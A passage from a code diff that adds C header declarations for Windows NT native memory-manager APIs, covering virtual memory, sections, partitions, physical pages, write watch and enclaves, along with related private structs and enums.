_Out_opt_ PSIZE_T ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_writes_bytes_(MemoryInformationLength) PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_opt_ PSIZE_T ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _Out_ struct _IO_STATUS_BLOCK* IoStatus +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _Out_ PIO_STATUS_BLOCK IoStatus +); + +// begin_private +#ifndef _KERNEL_MODE +typedef enum class _VIRTUAL_MEMORY_INFORMATION_CLASS +{ + VmPrefetchInformation, // ULONG + VmPagePriorityInformation, // OFFER_PRIORITY + VmCfgCallTargetInformation, // CFG_CALL_TARGET_LIST_INFORMATION // REDSTONE2 + VmPageDirtyStateInformation, // REDSTONE3 + VmImageHotPatchInformation, // 19H1 + VmPhysicalContiguityInformation, // 20H1 + VmVirtualMachinePrepopulateInformation, + VmRemoveFromWorkingSetInformation, + MaxVmInfoClass +} VIRTUAL_MEMORY_INFORMATION_CLASS; +#else +#define VmPrefetchInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)0) +#define VmPagePriorityInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)1) +#define VmCfgCallTargetInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)2) +#define VmPageDirtyStateInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)3) +#define VmImageHotPatchInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)4) +#define VmPhysicalContiguityInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)5) +#define VmVirtualMachinePrepopulateInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)6) +#define VmRemoveFromWorkingSetInformation ((_VIRTUAL_MEMORY_INFORMATION_CLASS)7) +#define MaxVmInfoClass ((_VIRTUAL_MEMORY_INFORMATION_CLASS)8) +#endif // !_KERNEL_MODE + +#ifndef _KERNEL_MODE +typedef struct _MEMORY_RANGE_ENTRY +{ + PVOID VirtualAddress; + SIZE_T NumberOfBytes; +} MEMORY_RANGE_ENTRY, * PMEMORY_RANGE_ENTRY; +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) + +#ifdef _KERNEL_MODE + +// +// Define flags for setting process CFG valid call target entries. +// + +// +// Call target should be made valid. If not set, the call target is made +// invalid. Input flag. +// + +#define CFG_CALL_TARGET_VALID (0x00000001) + +// +// Call target has been successfully processed. Used to report to the caller +// how much progress has been made. Output flag. +// + +#define CFG_CALL_TARGET_PROCESSED (0x00000002) + +// +// Call target should be made valid only if it is suppressed export. +// What this flag means is that it can *only* be used on a cell which is +// currently in the CFG export suppressed state (only considered for export +// suppressed processes and not legacy CFG processes!), and it is also +// allowed to be used even if the process is a restricted (i.e. no ACG) process. +// + +#define CFG_CALL_TARGET_CONVERT_EXPORT_SUPPRESSED_TO_VALID (0x00000004) + +// +// Call target should be made into an XFG call target. +// + +#define CFG_CALL_TARGET_VALID_XFG (0x00000008) + +// +// Call target should be made valid only if it is already an XFG target +// in a process which has XFG audit mode enabled. +// + +#define CFG_CALL_TARGET_CONVERT_XFG_TO_CFG (0x00000010) + +typedef struct _CFG_CALL_TARGET_INFO { + ULONG_PTR Offset; + ULONG_PTR Flags; +} CFG_CALL_TARGET_INFO, * PCFG_CALL_TARGET_INFO; +#endif // _KERNEL_MODE + +typedef struct _CFG_CALL_TARGET_LIST_INFORMATION +{ + ULONG NumberOfEntries; + ULONG Reserved; + PULONG NumberOfEntriesProcessed; + PCFG_CALL_TARGET_INFO CallTargetInfo; + PVOID Section; // since REDSTONE5 + ULONGLONG FileOffset; +} CFG_CALL_TARGET_LIST_INFORMATION, * PCFG_CALL_TARGET_LIST_INFORMATION; + +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS2 + +// end_private + +#if (NTDDI_VERSION >= NTDDI_WIN8) +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, + _In_ ULONG_PTR NumberOfEntries, + _In_reads_(NumberOfEntries) PMEMORY_RANGE_ENTRY VirtualAddresses, + _In_reads_bytes_(VmInformationLength) PVOID VmInformation, + _In_ ULONG VmInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, + _In_ ULONG_PTR NumberOfEntries, + _In_reads_(NumberOfEntries) PMEMORY_RANGE_ENTRY VirtualAddresses, + _In_reads_bytes_(VmInformationLength) PVOID VmInformation, + _In_ ULONG VmInformationLength +); +#endif + +#define MAP_PROCESS 1 +#define MAP_SYSTEM 2 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnlockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnlockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType +); + +// +// Sections +// + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSectionEx( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle, + _Inout_updates_opt_(ExtendedParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateSectionEx( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle, + _Inout_updates_opt_(ExtendedParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS5 + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_Must_inspect_result_ +_Post_satisfies_(*ViewSize >= _Old_(*ViewSize)) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapViewOfSection( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID* BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect +); + +_Must_inspect_result_ +_Post_satisfies_(*ViewSize >= _Old_(*ViewSize)) +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMapViewOfSection( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _Outptr_result_bytebuffer_(*ViewSize) PVOID* BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) +_Must_inspect_result_ +_Post_satisfies_(*ViewSize >= _Old_(*ViewSize)) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapViewOfSectionEx( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID* BaseAddress, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect, + _Inout_updates_opt_(ParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); + +_Must_inspect_result_ +_Post_satisfies_(*ViewSize >= _Old_(*ViewSize)) +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMapViewOfSectionEx( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID* BaseAddress, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect, + _Inout_updates_opt_(ParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS4 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnmapViewOfSection( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnmapViewOfSection( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnmapViewOfSectionEx( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwUnmapViewOfSectionEx( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ ULONG Flags +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtExtendSection( + _In_ HANDLE SectionHandle, + _Inout_ PLARGE_INTEGER NewSectionSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwExtendSection( + _In_ HANDLE SectionHandle, + _Inout_ PLARGE_INTEGER NewSectionSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySection( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_writes_bytes_(SectionInformationLength) PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_opt_ PSIZE_T ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySection( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_writes_bytes_(SectionInformationLength) PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_opt_ PSIZE_T ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAreMappedFilesTheSame( + _In_ PVOID File1MappedAsAnImage, + _In_ PVOID File2MappedAsFile +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAreMappedFilesTheSame( + _In_ PVOID File1MappedAsAnImage, + _In_ PVOID File2MappedAsFile +); + +// +// Partitions +// + +#if !defined(_KERNEL_MODE) || (WDK_NTDDI_VERSION <= NTDDI_WIN10_VB) +// private +typedef enum _PARTITION_INFORMATION_CLASS +{ + SystemMemoryPartitionInformation, // q: MEMORY_PARTITION_CONFIGURATION_INFORMATION + SystemMemoryPartitionMoveMemory, // s: MEMORY_PARTITION_TRANSFER_INFORMATION + SystemMemoryPartitionAddPagefile, // s: MEMORY_PARTITION_PAGEFILE_INFORMATION + SystemMemoryPartitionCombineMemory, // q; s: MEMORY_PARTITION_PAGE_COMBINE_INFORMATION + SystemMemoryPartitionInitialAddMemory, // q; s: MEMORY_PARTITION_INITIAL_ADD_INFORMATION + SystemMemoryPartitionGetMemoryEvents, // MEMORY_PARTITION_MEMORY_EVENTS_INFORMATION // since REDSTONE2 + SystemMemoryPartitionSetAttributes, + SystemMemoryPartitionNodeInformation, + SystemMemoryPartitionCreateLargePages, + SystemMemoryPartitionDedicatedMemoryInformation, + SystemMemoryPartitionOpenDedicatedMemory, // 10 + SystemMemoryPartitionMemoryChargeAttributes, + SystemMemoryPartitionClearAttributes, + SystemMemoryPartitionSetMemoryThresholds, // since WIN11 + SystemMemoryPartitionMax +} PARTITION_INFORMATION_CLASS, * PPARTITION_INFORMATION_CLASS; +#else +#define SystemMemoryPartitionInformation ((_PARTITION_INFORMATION_CLASS)0x0) +#define SystemMemoryPartitionMoveMemory ((_PARTITION_INFORMATION_CLASS)0x1) +#define SystemMemoryPartitionAddPagefile ((_PARTITION_INFORMATION_CLASS)0x2) +#define SystemMemoryPartitionCombineMemory ((_PARTITION_INFORMATION_CLASS)0x3) +#define SystemMemoryPartitionInitialAddMemory ((_PARTITION_INFORMATION_CLASS)0x4) +#define SystemMemoryPartitionGetMemoryEvents ((_PARTITION_INFORMATION_CLASS)0x5) +#define SystemMemoryPartitionSetAttributes ((_PARTITION_INFORMATION_CLASS)0x6) +#define SystemMemoryPartitionNodeInformation ((_PARTITION_INFORMATION_CLASS)0x7) +#define SystemMemoryPartitionCreateLargePages ((_PARTITION_INFORMATION_CLASS)0x8) +#define SystemMemoryPartitionDedicatedMemoryInformation ((_PARTITION_INFORMATION_CLASS)0x9) +#define SystemMemoryPartitionOpenDedicatedMemory ((_PARTITION_INFORMATION_CLASS)0xA) +#define SystemMemoryPartitionMemoryChargeAttributes ((_PARTITION_INFORMATION_CLASS)0xB) +#define SystemMemoryPartitionClearAttributes ((_PARTITION_INFORMATION_CLASS)0xC) +#define SystemMemoryPartitionSetMemoryThresholds ((_PARTITION_INFORMATION_CLASS)0xD) +#define SystemMemoryPartitionMax ((_PARTITION_INFORMATION_CLASS)0xE) +#endif //!_KERNEL_MODE + +// private +typedef struct _MEMORY_PARTITION_CONFIGURATION_INFORMATION +{ + ULONG Flags; + ULONG NumaNode; + ULONG Channel; + ULONG NumberOfNumaNodes; + ULONG_PTR ResidentAvailablePages; + ULONG_PTR CommittedPages; + ULONG_PTR CommitLimit; + ULONG_PTR PeakCommitment; + ULONG_PTR TotalNumberOfPages; + ULONG_PTR AvailablePages; + ULONG_PTR ZeroPages; + ULONG_PTR FreePages; + ULONG_PTR StandbyPages; + ULONG_PTR StandbyPageCountByPriority[8]; // since REDSTONE2 + ULONG_PTR RepurposedPagesByPriority[8]; + ULONG_PTR MaximumCommitLimit; + ULONG_PTR Reserved; // DonatedPagesToPartitions + ULONG PartitionId; // since REDSTONE3 +} MEMORY_PARTITION_CONFIGURATION_INFORMATION, * PMEMORY_PARTITION_CONFIGURATION_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_TRANSFER_INFORMATION +{ + ULONG_PTR NumberOfPages; + ULONG NumaNode; + ULONG Flags; +} MEMORY_PARTITION_TRANSFER_INFORMATION, * PMEMORY_PARTITION_TRANSFER_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_PAGEFILE_INFORMATION +{ + UNICODE_STRING PageFileName; + LARGE_INTEGER MinimumSize; + LARGE_INTEGER MaximumSize; + ULONG Flags; +} MEMORY_PARTITION_PAGEFILE_INFORMATION, * PMEMORY_PARTITION_PAGEFILE_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_PAGE_COMBINE_INFORMATION +{ + HANDLE StopHandle; + ULONG Flags; + ULONG_PTR TotalNumberOfPages; +} MEMORY_PARTITION_PAGE_COMBINE_INFORMATION, * PMEMORY_PARTITION_PAGE_COMBINE_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_PAGE_RANGE +{ + ULONG_PTR StartPage; + ULONG_PTR NumberOfPages; +} MEMORY_PARTITION_PAGE_RANGE, * PMEMORY_PARTITION_PAGE_RANGE; + +// private +typedef struct _MEMORY_PARTITION_INITIAL_ADD_INFORMATION +{ + ULONG Flags; + ULONG NumberOfRanges; + ULONG_PTR NumberOfPagesAdded; + MEMORY_PARTITION_PAGE_RANGE PartitionRanges[1]; +} MEMORY_PARTITION_INITIAL_ADD_INFORMATION, * PMEMORY_PARTITION_INITIAL_ADD_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_MEMORY_EVENTS_INFORMATION +{ + union + { + struct + { + ULONG CommitEvents : 1; + ULONG Spare : 31; + }; + ULONG AllFlags; + } Flags; + + ULONG HandleAttributes; + ULONG DesiredAccess; + HANDLE LowCommitCondition; // \KernelObjects\LowCommitCondition + HANDLE HighCommitCondition; // \KernelObjects\HighCommitCondition + HANDLE MaximumCommitCondition; // \KernelObjects\MaximumCommitCondition +} MEMORY_PARTITION_MEMORY_EVENTS_INFORMATION, * PMEMORY_PARTITION_MEMORY_EVENTS_INFORMATION; + +#if (NTDDI_VERSION >= NTDDI_WIN10) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreatePartition( + _In_ HANDLE ParentPartitionHandle, + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG PreferredNode +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreatePartition( + _In_ HANDLE ParentPartitionHandle, + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG PreferredNode +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenPartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenPartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtManagePartition( + _In_ HANDLE TargetHandle, + _In_opt_ HANDLE SourceHandle, + _In_ PARTITION_INFORMATION_CLASS PartitionInformationClass, + _Inout_updates_bytes_(PartitionInformationLength) PVOID PartitionInformation, + _In_ ULONG PartitionInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwManagePartition( + _In_ HANDLE TargetHandle, + _In_opt_ HANDLE SourceHandle, + _In_ PARTITION_INFORMATION_CLASS PartitionInformationClass, + _Inout_updates_bytes_(PartitionInformationLength) PVOID PartitionInformation, + _In_ ULONG PartitionInformationLength +); +#endif // NTDDI_VERSION >= NTDDI_WIN10 + +// +// User physical pages +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapUserPhysicalPages( + _In_ PVOID VirtualAddress, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMapUserPhysicalPages( + _In_ PVOID VirtualAddress, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapUserPhysicalPagesScatter( + _In_reads_(NumberOfPages) PVOID* VirtualAddresses, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwMapUserPhysicalPagesScatter( + _In_reads_(NumberOfPages) PVOID* VirtualAddresses, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_VB) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateUserPhysicalPagesEx( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray, + _Inout_updates_opt_(ParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAllocateUserPhysicalPagesEx( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray, + _Inout_updates_opt_(ParameterCount) PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_VB + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreeUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _In_reads_(*NumberOfPages) PULONG_PTR UserPfnArray +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFreeUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _In_reads_(*NumberOfPages) PULONG_PTR UserPfnArray +); + +// Misc. + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetWriteWatch( + _In_ HANDLE ProcessHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize, + _Out_writes_(*EntriesInUserAddressArray) PVOID* UserAddressArray, + _Inout_ PULONG_PTR EntriesInUserAddressArray, + _Out_ PULONG Granularity +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwGetWriteWatch( + _In_ HANDLE ProcessHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize, + _Out_writes_(*EntriesInUserAddressArray) PVOID* UserAddressArray, + _Inout_ PULONG_PTR EntriesInUserAddressArray, + _Out_ PULONG Granularity +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtResetWriteWatch( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwResetWriteWatch( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreatePagingFile( + _In_ PUNICODE_STRING PageFileName, + _In_ PLARGE_INTEGER MinimumSize, + _In_ PLARGE_INTEGER MaximumSize, + _In_ ULONG Priority +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreatePagingFile( + _In_ PUNICODE_STRING PageFileName, + _In_ PLARGE_INTEGER MinimumSize, + _In_ PLARGE_INTEGER MaximumSize, + _In_ ULONG Priority +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushInstructionCache( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ SIZE_T Length +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushInstructionCache( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ SIZE_T Length +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushWriteBuffer( + VOID +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushWriteBuffer( + VOID +); + +// +// Enclave support +// + +#if (NTDDI_VERSION >= NTDDI_WIN10_TH2) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateEnclave( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T Size, + _In_ SIZE_T InitialCommitment, + _In_ ULONG EnclaveType, + _In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation, + _In_ ULONG EnclaveInformationLength, + _Out_opt_ PULONG EnclaveError +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateEnclave( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T Size, + _In_ SIZE_T InitialCommitment, + _In_ ULONG EnclaveType, + _In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation, + _In_ ULONG EnclaveInformationLength, + _Out_opt_ PULONG EnclaveError +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtLoadEnclaveData( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _In_ ULONG Protect, + _In_reads_bytes_(PageInformationLength) PVOID PageInformation, + _In_ ULONG PageInformationLength, + _Out_opt_ PSIZE_T NumberOfBytesWritten, + _Out_opt_ PULONG EnclaveError +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwLoadEnclaveData( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _In_ ULONG Protect, + _In_reads_bytes_(PageInformationLength) PVOID PageInformation, + _In_ ULONG PageInformationLength, + _Out_opt_ PSIZE_T NumberOfBytesWritten, + _Out_opt_ PULONG EnclaveError +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtInitializeEnclave( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation, + _In_ 